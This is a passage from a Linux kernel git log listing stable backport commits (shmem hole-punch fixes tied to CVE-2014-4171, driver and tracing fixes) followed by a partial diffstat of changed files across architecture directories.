tunnel like ip tunnel add gre2 remote any local any key 1 mode gre dev eth0 wouldn't be ever matched if it was created before explicit tunnel like above. All this stuff happened because while looking for a wildcard tunnel we didn't check that matched tunnel is a wildcard one. Fixed. Signed-off-by: Dmitry Popov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5bf282074aa291cdb53373b4460c09b2d9129f2 Author: Hugh Dickins Date: Wed Jul 23 14:00:13 2014 -0700 shmem: fix splicing from a hole while it's punched commit b1a366500bd537b50c3aad26dc7df083ec03a448 upstream. shmem_fault() is the actual culprit in trinity's hole-punch starvation, and the most significant cause of such problems: since a page faulted is one that then appears page_mapped(), needing unmap_mapping_range() and i_mmap_mutex to be unmapped again. But it is not the only way in which a page can be brought into a hole in the radix_tree while that hole is being punched; and Vlastimil's testing implies that if enough other processors are busy filling in the hole, then shmem_undo_range() can be kept from completing indefinitely. shmem_file_splice_read() is the main other user of SGP_CACHE, which can instantiate shmem pagecache pages in the read-only case (without holding i_mutex, so perhaps concurrently with a hole-punch). Probably it's silly not to use SGP_READ already (using the ZERO_PAGE for holes): which ought to be safe, but might bring surprises - not a change to be rushed. shmem_read_mapping_page_gfp() is an internal interface used by drivers/gpu/drm GEM (and next by uprobes): it should be okay. And shmem_file_read_iter() uses the SGP_DIRTY variant of SGP_CACHE, when called internally by the kernel (perhaps for a stacking filesystem, which might rely on holes to be reserved): it's unclear whether it could be provoked to keep hole-punch busy or not. We could apply the same umbrella as now used in shmem_fault() to shmem_file_splice_read() and the others; but it looks ugly, and use over a range raises questions - should it actually be per page? can these get starved themselves? The origin of this part of the problem is my v3.1 commit d0823576bf4b ("mm: pincer in truncate_inode_pages_range"), once it was duplicated into shmem.c. It seemed like a nice idea at the time, to ensure (barring RCU lookup fuzziness) that there's an instant when the entire hole is empty; but the indefinitely repeated scans to ensure that make it vulnerable. Revert that "enhancement" to hole-punch from shmem_undo_range(), but retain the unproblematic rescanning when it's truncating; add a couple of comments there. Remove the "indices[0] >= end" test: that is now handled satisfactorily by the inner loop, and mem_cgroup_uncharge_start()/end() are too light to be worth avoiding here. But if we do not always loop indefinitely, we do need to handle the case of swap swizzled back to page before shmem_free_swap() gets it: add a retry for that case, as suggested by Konstantin Khlebnikov; and for the case of page swizzled back to swap, as suggested by Johannes Weiner. Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Suggested-by: Vlastimil Babka Cc: Konstantin Khlebnikov Cc: Johannes Weiner Cc: Lukas Czerner Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d69501955203234cdd5ee36d4f05759cdb67826 Author: Hugh Dickins Date: Wed Jul 23 14:00:10 2014 -0700 shmem: fix faulting into a hole, not taking i_mutex commit 8e205f779d1443a94b5ae81aa359cb535dd3021e upstream. Commit f00cdc6df7d7 ("shmem: fix faulting into a hole while it's punched") was buggy: Sasha sent a lockdep report to remind us that grabbing i_mutex in the fault path is a no-no (write syscall may already hold i_mutex while faulting user buffer). We tried a completely different approach (see following patch) but that proved inadequate: good enough for a rational workload, but not good enough against trinity - which forks off so many mappings of the object that contention on i_mmap_mutex while hole-puncher holds i_mutex builds into serious starvation when concurrent faults force the puncher to fall back to single-page unmap_mapping_range() searches of the i_mmap tree. So return to the original umbrella approach, but keep away from i_mutex this time. We really don't want to bloat every shmem inode with a new mutex or completion, just to protect this unlikely case from trinity. So extend the original with wait_queue_head on stack at the hole-punch end, and wait_queue item on the stack at the fault end. This involves further use of i_lock to guard against the races: lockdep has been happy so far, and I see fs/inode.c:unlock_new_inode() holds i_lock around wake_up_bit(), which is comparable to what we do here. i_lock is more convenient, but we could switch to shmem's info->lock. This issue has been tagged with CVE-2014-4171, which will require commit f00cdc6df7d7 and this and the following patch to be backported: we suggest to 3.1+, though in fact the trinity forkbomb effect might go back as far as 2.6.16, when madvise(,,MADV_REMOVE) came in - or might not, since much has changed, with i_mmap_mutex a spinlock before 3.0. Anyone running trinity on 3.0 and earlier? I don't think we need care. Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Tested-by: Sasha Levin Cc: Vlastimil Babka Cc: Konstantin Khlebnikov Cc: Johannes Weiner Cc: Lukas Czerner Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 010ae75536faf28d8f3f2c48b3d91c5e81f93181 Author: Hugh Dickins Date: Mon Jun 23 13:22:06 2014 -0700 shmem: fix faulting into a hole while it's punched commit f00cdc6df7d7cfcabb5b740911e6788cb0802bdb upstream. Trinity finds that mmap access to a hole while it's punched from shmem can prevent the madvise(MADV_REMOVE) or fallocate(FALLOC_FL_PUNCH_HOLE) from completing, until the reader chooses to stop; with the puncher's hold on i_mutex locking out all other writers until it can complete. It appears that the tmpfs fault path is too light in comparison with its hole-punching path, lacking an i_data_sem to obstruct it; but we don't want to slow down the common case. Extend shmem_fallocate()'s existing range notification mechanism, so shmem_fault() can refrain from faulting pages into the hole while it's punched, waiting instead on i_mutex (when safe to sleep; or repeatedly faulting when not). [akpm@linux-foundation.org: coding-style fixes] Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Tested-by: Sasha Levin Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60093c752f56d78dd862e16ecd0b8136a3cc13ef Author: Emmanuel Grumbach Date: Wed Jun 25 09:12:30 2014 +0300 iwlwifi: dvm: don't enable CTS to self commit 43d826ca5979927131685cc2092c7ce862cb91cd upstream. We should always prefer to use full RTS protection. Using CTS to self gives a meaningless improvement, but this flow is much harder for the firmware which is likely to have issues with it. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c4cf4a5a8c5b28dff57356485c858188d88c5ee Author: Stefan Assmann Date: Thu Jul 10 03:29:39 2014 -0700 igb: do a reset on SR-IOV re-init if device is down commit 76252723e88681628a3dbb9c09c963e095476f73 upstream. To properly re-initialize SR-IOV it is necessary to reset the device even if it is already down. Not doing this may result in Tx unit hangs. Signed-off-by: Stefan Assmann Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3ef82b1a6eb67b6d78ff2ef89fc66b7959cc1ad Author: Guenter Roeck Date: Wed Jul 16 17:40:31 2014 -0700 hwmon: (adt7470) Fix writes to temperature limit registers commit de12d6f4b10b21854441f5242dcb29ea96181e58 upstream. Temperature limit registers are signed. Limits therefore need to be clamped to (-128, 127) degrees C and not to (0, 255) degrees C. Without this fix, writing a limit of 128 degrees C sets the actual limit to -128 degrees C. Signed-off-by: Guenter Roeck Reviewed-by: Axel Lin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee6203bdbc15f4fb41ba467df3509e6347d75472 Author: Axel Lin Date: Wed Jul 9 09:18:59 2014 +0800 hwmon: (da9052) Don't use dash in the name attribute commit ee14b644daaa58afe1e91bb9ebd9cf1b18d1f5fa upstream. Dashes are not allowed in hwmon name attributes. Use "da9052" instead of "da9052-hwmon". Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f789b1201fe790c2564f55c79cf55ba6c29c45e6 Author: Axel Lin Date: Wed Jul 9 09:22:54 2014 +0800 hwmon: (da9055) Don't use dash in the name attribute commit 6b00f440dd678d786389a7100a2e03fe44478431 upstream. Dashes are not allowed in hwmon name attributes. Use "da9055" instead of "da9055-hwmon". Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9e66821f909853195d85485816067b686a2e7fd Author: zhangwei(Jovi) Date: Thu Jul 18 16:31:05 2013 +0800 tracing: Add ftrace_trace_stack into __trace_puts/__trace_bputs commit 8abfb8727f4a724d31f9ccfd8013fbd16d539445 upstream. Currently trace option stacktrace is not applicable for trace_printk with constant string argument, the reason is in __trace_puts/__trace_bputs ftrace_trace_stack is missing. In contrast, when using trace_printk with non constant string argument(will call into __trace_printk/__trace_bprintk), then trace option stacktrace is workable, this inconstant result will confuses users a lot. Link: http://lkml.kernel.org/p/51E7A7C9.9040401@huawei.com Signed-off-by: zhangwei(Jovi) Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f2c020a46d007adcfcff2b94641022ac03dd43b0 Author: Steven Rostedt (Red Hat) Date: Tue Jul 15 11:05:12 2014 -0400 tracing: Fix graph tracer with stack tracer on other archs commit 5f8bf2d263a20b986225ae1ed7d6759dc4b93af9 upstream. Running my ftrace tests on PowerPC, it failed the test that checks if function_graph tracer is affected by the stack tracer. It was. Looking into this, I found that the update_function_graph_func() must be called even if the trampoline function is not changed. This is because archs like PowerPC do not support ftrace_ops being passed by assembly and instead uses a helper function (what the trampoline function points to). Since this function is not changed even when multiple ftrace_ops are added to the code, the test that falls out before calling update_function_graph_func() will miss that the update must still be done. Call update_function_graph_function() for all calls to update_ftrace_function() Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b93452b9daec9bc8d4ad030730cd36d97634028 Author: Loic Poulain Date: Mon Jun 23 17:42:44 2014 +0200 Bluetooth: Ignore H5 non-link packets in non-active state commit 48439d501e3d9e8634bdc0c418e066870039599d upstream. When detecting a non-link packet, h5_reset_rx() frees the Rx skb. Not returning after that will cause the upcoming h5_rx_payload() call to dereference a now NULL Rx skb and trigger a kernel oops. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b61574614a101df5567dc6f4d0bc5dac87c2e05f Author: K. Y. Srinivasan Date: Mon Jul 7 16:34:25 2014 -0700 Drivers: hv: util: Fix a bug in the KVP code commit 9bd2d0dfe4714dd5d7c09a93a5c9ea9e14ceb3fc upstream. Add code to poll the channel since we process only one message at a time and the host may not interrupt us. Also increase the receive buffer size since some KVP messages are close to 8K bytes in size. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2149afd246c71151ae55bb028ffc8f41081797e3 Author: Hans de Goede Date: Wed Jul 9 06:20:44 2014 -0300 media: gspca_pac7302: Add new usb-id for Genius i-Look 317 commit 242841d3d71191348f98310e2d2001e1001d8630 upstream. Tested-and-reported-by: yullaw Signed-off-by: Hans de Goede Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8c03d31cda3a39d81eef22f906f31b61c3496d7 Author: Gavin Guo Date: Fri Jul 18 01:12:13 2014 +0800 usb: Check if port status is equal to RxDetect commit bb86cf569bbd7ad4dce581a37c7fbd748057e9dc upstream. When using USB 3.0 pen drive with the [AMD] FCH USB XHCI Controller [1022:7814], the second hotplugging will experience the USB 3.0 pen drive is recognized as high-speed device. After bisecting the kernel, I found the commit number 41e7e056cdc662f704fa9262e5c6e213b4ab45dd (USB: Allow USB 3.0 ports to be disabled.) causes the bug. After doing some experiments, the bug can be fixed by avoiding executing the function hub_usb3_port_disable(). Because the port status with [AMD] FCH USB XHCI Controlleris [1022:7814] is already in RxDetect (I tried printing out the port status before setting to Disabled state), it's reasonable to check the port status before really executing hub_usb3_port_disable(). Fixes: 41e7e056cdc6 (USB: Allow USB 3.0 ports to be disabled.) Signed-off-by: Gavin Guo Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi --- .../devicetree/bindings/dma/fsl-mxs-dma.txt | 2 +- .../pinctrl/marvell,armada-370-pinctrl.txt | 4 +- .../pinctrl/marvell,armada-xp-pinctrl.txt | 32 +- .../devicetree/bindings/spi/spi_pl022.txt | 2 +- Documentation/filesystems/efivarfs.txt | 7 + Documentation/kernel-parameters.txt | 1 + Documentation/lzo.txt | 164 +++++++ Documentation/ramoops.txt | 13 +- Documentation/scsi/scsi_eh.txt | 8 +- .../sound/alsa/ALSA-Configuration.txt | 4 +- Documentation/stable_kernel_rules.txt | 3 + Documentation/x86/x86_64/mm.txt | 2 + MAINTAINERS | 4 +- Makefile | 8 +- arch/alpha/mm/fault.c | 2 + arch/arc/boot/dts/nsimosci.dts | 18 +- arch/arc/include/asm/cmpxchg.h | 9 +- arch/arc/include/asm/kgdb.h | 32 +- arch/arc/include/asm/pgtable.h | 3 +- arch/arc/include/asm/ptrace.h | 2 +- arch/arc/include/uapi/asm/ptrace.h | 1 + arch/arc/kernel/ptrace.c | 4 + arch/arc/kernel/signal.c | 20 +- arch/arc/kernel/stacktrace.c | 2 +- arch/arc/kernel/unwind.c | 37 +- arch/arc/mm/fault.c | 13 +- arch/arc/mm/tlbex.S | 4 +- arch/arm/Makefile | 8 + .../boot/dts/armada-xp-openblocks-ax3-4.dts | 4 + arch/arm/boot/dts/dove.dtsi | 4 +- arch/arm/boot/dts/imx23-olinuxino.dts | 1 + arch/arm/boot/dts/imx25.dtsi | 11 +- arch/arm/boot/dts/imx27.dtsi | 2 +- arch/arm/boot/dts/imx28.dtsi | 2 +- arch/arm/common/icst.c | 9 +- arch/arm/configs/multi_v7_defconfig | 2 + arch/arm/crypto/aes_glue.c | 4 +- arch/arm/crypto/sha1_glue.c | 2 +- arch/arm/include/asm/atomic.h | 52 +-- arch/arm/include/asm/bug.h | 10 +- arch/arm/include/asm/elf.h | 2 +- arch/arm/include/asm/memory.h | 36 +- arch/arm/include/asm/page.h | 2 +- arch/arm/include/asm/pgtable-3level-hwdef.h | 1 + arch/arm/include/asm/pgtable-3level.h | 31 +- arch/arm/include/asm/pgtable.h | 14 +- arch/arm/kernel/entry-armv.S | 3 +- arch/arm/kernel/entry-common.S | 46 +- arch/arm/kernel/head.S | 2 +- arch/arm/kernel/kprobes-common.c | 19 +- arch/arm/kernel/kprobes-thumb.c | 20 +- arch/arm/kernel/kprobes.c | 9 +- arch/arm/kernel/machine_kexec.c | 17 +- arch/arm/kernel/ptrace.c | 2 +- arch/arm/kernel/relocate_kernel.S | 8 +- arch/arm/kernel/sys_oabi-compat.c | 8 +- arch/arm/kernel/traps.c | 8 +- arch/arm/kvm/interrupts.S | 10 +- arch/arm/kvm/interrupts_head.S | 20 +- arch/arm/mach-at91/clock.c | 1 + arch/arm/mach-at91/pm.h | 2 +- arch/arm/mach-dove/common.c | 2 +- arch/arm/mach-imx/clk-imx6q.c | 6 +- arch/arm/mach-kirkwood/common.c | 2 +- arch/arm/mach-mv78xx0/common.c | 4 +- arch/arm/mach-mvebu/armada-370-xp.c | 3 +- arch/arm/mach-mvebu/coherency.c | 38 ++ arch/arm/mach-mvebu/coherency.h | 1 + arch/arm/mach-omap2/control.c | 3 +- arch/arm/mach-omap2/cpuidle34xx.c | 69 ++- arch/arm/mach-omap2/omap_hwmod.c | 4 + arch/arm/mach-omap2/sleep34xx.S | 22 +- arch/arm/mach-omap2/timer.c | 8 +- arch/arm/mach-orion5x/common.c | 2 +- arch/arm/mach-pxa/corgi.c | 3 + arch/arm/mach-pxa/hx4700.c | 2 + arch/arm/mach-pxa/poodle.c | 2 + arch/arm/mach-realview/include/mach/memory.h | 2 + arch/arm/mach-s3c64xx/crag6410.h | 1 + arch/arm/mach-s3c64xx/mach-crag6410.c | 1 + arch/arm/mach-sa1100/pm.c | 1 + arch/arm/mach-shmobile/setup-sh73a0.c | 3 + arch/arm/mach-socfpga/headsmp.S | 1 + arch/arm/mm/Kconfig | 1 + arch/arm/mm/abort-ev6.S | 6 - arch/arm/mm/abort-ev7.S | 6 - arch/arm/mm/alignment.c | 3 + arch/arm/mm/dma-mapping.c | 18 +- arch/arm/mm/idmap.c | 7 + arch/arm/mm/mmu.c | 3 +- arch/arm/mm/proc-v7-3level.S | 9 +- arch/arm/mm/proc-v7.S | 2 - arch/arm/mm/proc-xscale.S | 4 +- arch/arm/plat-orion/common.c | 2 +- arch/arm64/Kconfig | 6 +- arch/arm64/include/asm/compat.h | 4 +- arch/arm64/include/asm/cputype.h | 2 + arch/arm64/include/asm/hw_breakpoint.h | 1 - arch/arm64/include/asm/ptrace.h | 16 +- arch/arm64/kernel/head.S | 5 + arch/arm64/kernel/process.c | 18 + arch/arm64/kernel/ptrace.c | 9 +- arch/arm64/kernel/setup.c | 104 +++-- arch/arm64/kernel/signal32.c | 57 ++- arch/arm64/kernel/smp.c | 5 + arch/arm64/kernel/stacktrace.c | 6 +- arch/arm64/kernel/sys_compat.c | 6 + arch/arm64/kernel/vdso/Makefile | 4 + arch/arm64/lib/clear_user.S | 2 +- arch/arm64/mm/context.c | 8 + arch/arm64/mm/fault.c | 1 + arch/arm64/mm/init.c | 2 +- arch/arm64/mm/mmu.c | 3 + arch/avr32/mm/fault.c | 2 + arch/c6x/kernel/time.c | 2 +- arch/cris/mm/fault.c | 2 + arch/frv/mm/fault.c | 2 + arch/ia64/mm/fault.c | 2 + arch/m32r/kernel/setup.c | 3 + arch/m32r/mm/fault.c | 2 + arch/m68k/include/asm/linkage.h | 30 ++ arch/m68k/include/asm/uaccess_mm.h | 8 +- arch/m68k/lib/uaccess.c | 6 +- arch/m68k/mm/fault.c | 2 + arch/m68k/mm/hwtest.c | 6 + arch/metag/include/asm/cmpxchg_lnkget.h | 2 +- arch/metag/include/asm/processor.h | 4 +- arch/metag/mm/fault.c | 8 +- arch/microblaze/mm/fault.c | 2 + arch/mips/ath79/early_printk.c | 6 +- arch/mips/boot/compressed/decompress.c | 1 + arch/mips/cavium-octeon/setup.c | 18 +- arch/mips/include/asm/kvm_host.h | 1 + arch/mips/include/asm/mach-generic/spaces.h | 4 + arch/mips/include/asm/pgtable.h | 31 ++ arch/mips/include/asm/processor.h | 2 +- arch/mips/include/asm/reg.h | 260 +++++++---- arch/mips/include/asm/suspend.h | 7 - arch/mips/include/asm/thread_info.h | 2 + arch/mips/include/uapi/asm/siginfo.h | 18 +- arch/mips/kernel/binfmt_elfo32.c | 32 +- arch/mips/kernel/irq-gic.c | 6 +- arch/mips/kernel/irq.c | 2 +- arch/mips/kernel/irq_cpu.c | 4 + arch/mips/kernel/mcount.S | 12 + arch/mips/kernel/mips-mt-fpaff.c | 5 +- arch/mips/kernel/mips_ksyms.c | 8 + arch/mips/kernel/ptrace.c | 3 +- arch/mips/kernel/scall32-o32.S | 2 +- arch/mips/kernel/scall64-64.S | 2 +- arch/mips/kernel/scall64-n32.S | 4 +- arch/mips/kernel/scall64-o32.S | 4 +- arch/mips/kernel/signal32.c | 2 - arch/mips/kernel/smp.c | 2 +- arch/mips/kernel/unaligned.c | 1 - arch/mips/kvm/kvm_locore.S | 19 +- arch/mips/kvm/kvm_mips.c | 24 +- arch/mips/kvm/kvm_mips_emul.c | 37 +- arch/mips/kvm/kvm_mips_int.h | 2 + arch/mips/kvm/kvm_tlb.c | 63 ++- arch/mips/kvm/trace.h | 6 +- arch/mips/loongson/common/Makefile | 3 +- arch/mips/math-emu/cp1emu.c | 8 +- arch/mips/mm/c-r4k.c | 7 + arch/mips/mm/dma-default.c | 2 +- arch/mips/mm/fault.c | 2 + arch/mips/mm/tlbex.c | 5 + arch/mips/oprofile/backtrace.c | 2 +- arch/mips/power/cpu.c | 2 +- arch/mips/power/hibernate.S | 3 +- arch/mn10300/Kconfig | 4 +- arch/mn10300/mm/fault.c | 9 +- arch/openrisc/Kconfig | 4 +- arch/openrisc/kernel/entry.S | 59 +-- arch/openrisc/kernel/signal.c | 198 +++++---- arch/openrisc/mm/fault.c | 10 +- arch/parisc/Makefile | 7 +- arch/parisc/include/uapi/asm/mman.h | 10 - arch/parisc/include/uapi/asm/shmbuf.h | 25 +- arch/parisc/include/uapi/asm/siginfo.h | 4 + arch/parisc/include/uapi/asm/signal.h | 2 - arch/parisc/kernel/irq.c | 8 +- arch/parisc/kernel/parisc_ksyms.c | 10 +- arch/parisc/kernel/signal.c | 64 ++- arch/parisc/kernel/syscall_table.S | 8 +- arch/parisc/kernel/traps.c | 3 + arch/parisc/kernel/unaligned.c | 10 +- arch/parisc/mm/fault.c | 2 + arch/powerpc/boot/dts/fsl/pq3-etsec2-0.dtsi | 1 + arch/powerpc/boot/dts/fsl/pq3-etsec2-1.dtsi | 1 + arch/powerpc/boot/dts/fsl/pq3-etsec2-2.dtsi | 1 + arch/powerpc/crypto/sha1.c | 3 +- arch/powerpc/include/asm/cmpxchg.h | 16 +- arch/powerpc/include/asm/pgtable-ppc64.h | 14 +- arch/powerpc/include/asm/pte-hash64-64k.h | 32 +- arch/powerpc/include/asm/ptrace.h | 7 + arch/powerpc/include/asm/reg.h | 7 +- arch/powerpc/include/asm/rtas.h | 1 + arch/powerpc/include/asm/synch.h | 2 +- arch/powerpc/include/uapi/asm/cputable.h | 1 + arch/powerpc/kernel/exceptions-64s.S | 16 +- arch/powerpc/kernel/module_64.c | 2 +- arch/powerpc/kernel/prom.c | 2 +- arch/powerpc/kernel/rtas.c | 20 + arch/powerpc/kernel/signal_32.c | 16 +- arch/powerpc/kernel/signal_64.c | 4 + arch/powerpc/kernel/smp.c | 4 +- arch/powerpc/kernel/suspend.c | 4 +- arch/powerpc/kernel/vdso32/getcpu.S | 4 +- arch/powerpc/kernel/vmlinux.lds.S | 1 + arch/powerpc/kvm/book3s_hv.c | 6 + arch/powerpc/mm/fault.c | 2 + arch/powerpc/mm/numa.c | 2 +- arch/powerpc/perf/callchain.c | 4 +- arch/powerpc/perf/core-book3s.c | 11 +- arch/powerpc/platforms/cell/spu_fault.c | 2 +- arch/powerpc/platforms/cell/spufs/inode.c | 2 +- arch/powerpc/platforms/powernv/pci-ioda.c | 3 +- arch/powerpc/platforms/powernv/pci.c | 9 +- arch/powerpc/platforms/pseries/eeh_pseries.c | 51 ++- .../platforms/pseries/hotplug-memory.c | 2 +- arch/powerpc/platforms/pseries/iommu.c | 24 +- arch/powerpc/platforms/pseries/msi.c | 2 +- arch/powerpc/platforms/pseries/ras.c | 3 +- arch/powerpc/sysdev/axonram.c | 2 +- arch/powerpc/sysdev/fsl_msi.c | 5 +- arch/powerpc/sysdev/mpic_pasemi_msi.c | 6 +- arch/powerpc/sysdev/mpic_u3msi.c | 5 +- arch/powerpc/sysdev/ppc4xx_msi.c | 5 +- arch/powerpc/xmon/xmon.c | 7 +- arch/s390/crypto/aes_s390.c | 2 +- arch/s390/crypto/des_s390.c | 4 +- arch/s390/crypto/ghash_s390.c | 27 +- arch/s390/crypto/sha1_s390.c | 2 +- arch/s390/crypto/sha256_s390.c | 4 +- arch/s390/crypto/sha512_s390.c | 4 +- arch/s390/include/asm/syscall.h | 2 +- arch/s390/kernel/compat_linux.c | 2 +- arch/s390/kernel/ptrace.c | 9 +- arch/s390/kernel/sclp.S | 4 + arch/s390/kernel/suspend.c | 11 +- arch/s390/kvm/interrupt.c | 1 + arch/s390/kvm/priv.c | 1 + arch/s390/mm/extable.c | 8 +- arch/s390/mm/fault.c | 6 + arch/score/mm/fault.c | 16 +- arch/sh/include/asm/sections.h | 1 - arch/sh/include/uapi/asm/unistd_64.h | 2 +- arch/sh/mm/fault.c | 2 + arch/sparc/crypto/aes_glue.c | 4 +- arch/sparc/crypto/camellia_glue.c | 3 +- arch/sparc/crypto/crc32c_glue.c | 2 +- arch/sparc/crypto/des_glue.c | 4 +- arch/sparc/crypto/md5_glue.c | 2 +- arch/sparc/crypto/sha1_glue.c | 2 +- arch/sparc/crypto/sha256_glue.c | 4 +- arch/sparc/crypto/sha512_glue.c | 4 +- arch/sparc/include/asm/atomic_32.h | 2 +- arch/sparc/include/asm/cmpxchg_32.h | 12 +- arch/sparc/include/asm/pgtable_64.h | 6 +- arch/sparc/include/asm/tlbflush_64.h | 12 +- arch/sparc/include/asm/vio.h | 14 +- arch/sparc/include/asm/visasm.h | 18 +- arch/sparc/include/uapi/asm/swab.h | 12 +- arch/sparc/kernel/ldc.c | 4 +- arch/sparc/kernel/pci_schizo.c | 6 +- arch/sparc/kernel/perf_event.c | 15 +- arch/sparc/kernel/process_64.c | 4 + arch/sparc/kernel/smp_64.c | 10 +- arch/sparc/kernel/sys32.S | 2 +- arch/sparc/kernel/sys_sparc_64.c | 4 +- arch/sparc/kernel/unaligned_64.c | 12 +- arch/sparc/lib/NG2memcpy.S | 1 + arch/sparc/lib/NG4memcpy.S | 19 +- arch/sparc/lib/VISsave.S | 67 +-- arch/sparc/lib/atomic32.c | 27 ++ arch/sparc/lib/ksyms.c | 4 - arch/sparc/lib/memmove.S | 35 +- arch/sparc/math-emu/math_32.c | 2 +- arch/sparc/mm/fault_32.c | 2 + arch/sparc/mm/fault_64.c | 100 +++-- arch/sparc/mm/init_64.c | 27 ++ arch/sparc/mm/srmmu.c | 11 +- arch/sparc/mm/tsb.c | 14 +- arch/sparc/power/hibernate.c | 4 +- arch/tile/kernel/setup.c | 2 +- arch/tile/mm/fault.c | 16 +- arch/um/Kconfig.common | 1 + arch/um/kernel/trap.c | 2 + arch/um/os-Linux/start_up.c | 2 + arch/unicore32/include/mach/pm.h | 3 - arch/unicore32/kernel/hibernate.c | 1 + arch/x86/Kconfig | 28 +- arch/x86/boot/Makefile | 3 + arch/x86/boot/compressed/head_32.S | 2 +- arch/x86/boot/header.S | 26 +- arch/x86/boot/tools/build.c | 37 +- arch/x86/crypto/aes_glue.c | 4 +- arch/x86/crypto/aesni-intel_glue.c | 6 +- arch/x86/crypto/blowfish_avx2_glue.c | 4 +- arch/x86/crypto/blowfish_glue.c | 4 +- arch/x86/crypto/camellia_aesni_avx2_glue.c | 4 +- arch/x86/crypto/camellia_aesni_avx_glue.c | 4 +- arch/x86/crypto/camellia_glue.c | 4 +- arch/x86/crypto/cast5_avx_glue.c | 2 +- arch/x86/crypto/cast6_avx_glue.c | 2 +- arch/x86/crypto/crc32-pclmul_glue.c | 4 +- arch/x86/crypto/crc32c-intel_glue.c | 4 +- arch/x86/crypto/fpu.c | 3 + arch/x86/crypto/ghash-clmulni-intel_glue.c | 3 +- arch/x86/crypto/salsa20_glue.c | 4 +- arch/x86/crypto/serpent_avx2_glue.c | 4 +- arch/x86/crypto/serpent_avx_glue.c | 2 +- arch/x86/crypto/serpent_sse2_glue.c | 2 +- arch/x86/crypto/sha1_ssse3_glue.c | 2 +- arch/x86/crypto/sha256_ssse3_glue.c | 2 +- arch/x86/crypto/sha512_ssse3_glue.c | 2 +- arch/x86/crypto/twofish_avx2_glue.c | 4 +- arch/x86/crypto/twofish_avx_glue.c | 2 +- arch/x86/crypto/twofish_glue.c | 4 +- arch/x86/crypto/twofish_glue_3way.c | 4 +- arch/x86/ia32/ia32entry.S | 19 +- arch/x86/include/asm/boot.h | 2 +- arch/x86/include/asm/desc.h | 20 +- arch/x86/include/asm/elf.h | 5 +- arch/x86/include/asm/espfix.h | 16 + arch/x86/include/asm/fixmap.h | 6 +- arch/x86/include/asm/fpu-internal.h | 2 +- arch/x86/include/asm/irqflags.h | 2 +- arch/x86/include/asm/kvm_host.h | 23 +- arch/x86/include/asm/mmu_context.h | 33 +- arch/x86/include/asm/page_32_types.h | 1 - arch/x86/include/asm/page_64_types.h | 11 +- arch/x86/include/asm/pgtable_64_types.h | 2 + arch/x86/include/asm/segment.h | 13 +- arch/x86/include/asm/setup.h | 2 + arch/x86/include/asm/thread_info.h | 2 +- arch/x86/include/asm/uaccess_64.h | 24 +- arch/x86/include/asm/vsyscall.h | 2 +- arch/x86/include/asm/xen/hypervisor.h | 2 + arch/x86/include/uapi/asm/ldt.h | 7 + arch/x86/include/uapi/asm/processor-flags.h | 154 ++++--- arch/x86/include/uapi/asm/vmx.h | 3 + arch/x86/kernel/Makefile | 1 + arch/x86/kernel/acpi/sleep.c | 7 + arch/x86/kernel/amd_nb.c | 4 +- arch/x86/kernel/apic/apic.c | 11 +- arch/x86/kernel/apm_32.c | 2 +- arch/x86/kernel/cpu/common.c | 7 +- arch/x86/kernel/cpu/intel.c | 15 + arch/x86/kernel/cpu/mshyperv.c | 1 + arch/x86/kernel/cpu/perf_event.h | 2 + arch/x86/kernel/cpu/perf_event_amd.c | 34 +- arch/x86/kernel/cpu/perf_event_intel.c | 25 +- arch/x86/kernel/cpu/perf_event_intel_ds.c | 11 +- arch/x86/kernel/cpu/perf_event_intel_uncore.c | 22 +- arch/x86/kernel/dumpstack_64.c | 1 - arch/x86/kernel/entry_32.S | 21 +- arch/x86/kernel/entry_64.S | 97 +++-- arch/x86/kernel/espfix_64.c | 208 +++++++++ arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/head_32.S | 33 +- arch/x86/kernel/head_64.S | 28 +- arch/x86/kernel/ioport.c | 12 +- arch/x86/kernel/kprobes/core.c | 32 +- arch/x86/kernel/kvm.c | 9 +- arch/x86/kernel/kvmclock.c | 1 - arch/x86/kernel/ldt.c | 10 +- arch/x86/kernel/microcode_intel_early.c | 2 +- arch/x86/kernel/paravirt_patch_64.c | 2 - arch/x86/kernel/process_32.c | 2 +- arch/x86/kernel/process_64.c | 115 +++-- arch/x86/kernel/ptrace.c | 11 +- arch/x86/kernel/reboot.c | 8 + arch/x86/kernel/resource.c | 8 +- arch/x86/kernel/setup.c | 8 + arch/x86/kernel/signal.c | 22 +- arch/x86/kernel/smpboot.c | 10 + arch/x86/kernel/tls.c | 62 ++- arch/x86/kernel/traps.c | 73 +++- arch/x86/kernel/tsc.c | 24 +- arch/x86/kernel/verify_cpu.S | 12 +- arch/x86/kernel/vsyscall_64.c | 8 +- arch/x86/kernel/xsave.c | 14 +- arch/x86/kvm/emulate.c | 133 ++++-- 